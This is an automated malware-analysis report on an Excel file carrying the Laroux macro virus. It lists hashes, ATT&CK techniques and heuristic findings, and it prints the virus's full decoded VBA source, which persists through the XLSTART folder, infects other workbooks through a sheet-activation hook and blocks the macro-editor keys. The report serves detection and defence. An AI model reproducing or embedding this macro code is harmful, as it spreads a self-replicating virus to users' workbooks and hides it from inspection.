Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c39321526778ecf1…

MALICIOUS

Office (OLE)

21.5 KB Created: 1996-12-17 01:32:42 Authoring application: Microsoft Excel First seen: 2015-01-04
MD5: 822f3bd0b80ecd8f68460e894e7979f1 SHA-1: 6d22170eecff162949e8a52014924de625c0f7cc SHA-256: c39321526778ecf15cb20e2f0bd2de27e908227a05dcb035de75a29184c12394
208 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1564.001 Hidden Files and Directories

This Excel file contains VBA macros that are designed to establish persistence by saving a copy of the workbook to the Excel startup folder as 'StartUp.xls'. It also employs techniques to evade detection, such as hooking the VBE editor keys and the OnSheetActivate event to spread to other workbooks. The ClamAV detection 'Doc.Macro.Laroux-5893719-0' further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Macro.Laroux-5893719-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Laroux-5893719-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA copies the workbook into the Excel XLSTART startup folder high OLE_VBA_XLSTART_PERSISTENCE
    The macro saves a copy of the workbook into Application.StartupPath (the Excel XLSTART folder) so the code auto-loads every time Excel starts. This is the persistence stage of a resident Excel macro virus, not normal document behaviour.
    Matched line in script
    If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
  • VBA infects other workbooks via an OnSheetActivate copy hook high OLE_VBA_WORKBOOK_INFECTION_SPREADER
    The macro installs an Application.OnSheetActivate handler that copies a sheet (carrying the macro) into the active workbook whenever a sheet is activated. This is the replication stage of a resident Excel macro virus: it infects every workbook the user opens.
    Matched line in script
    Application.OnSheetActivate = "StartUp.xls!cop"
  • VBA hooks the VBE-editor / macro-list keys to evade inspection high OLE_VBA_VBE_KEY_HOOK_EVASION
    The macro reroutes Alt+F11 (Visual Basic editor) and/or Alt+F8 (macro list) through Application.OnKey, so an analyst's attempt to open the macro code is intercepted. This anti-analysis trick is a hallmark of resident Excel macro viruses hiding the viral module while it is loaded.
    Matched line in script
    Application.OnKey "%{F11}", "StartUp.xls!escape"
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub auto_open()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1339 bytes
SHA-256: 400af5fb2cf265f2b93a642a73ff0f149dda320e92178c87f489b6c4a998f95a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "StartUp"
Sub auto_open()
Attribute auto_open.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
Attribute cop.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub back()
Attribute back.VB_ProcData.VB_Invoke_Func = " \n14"
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

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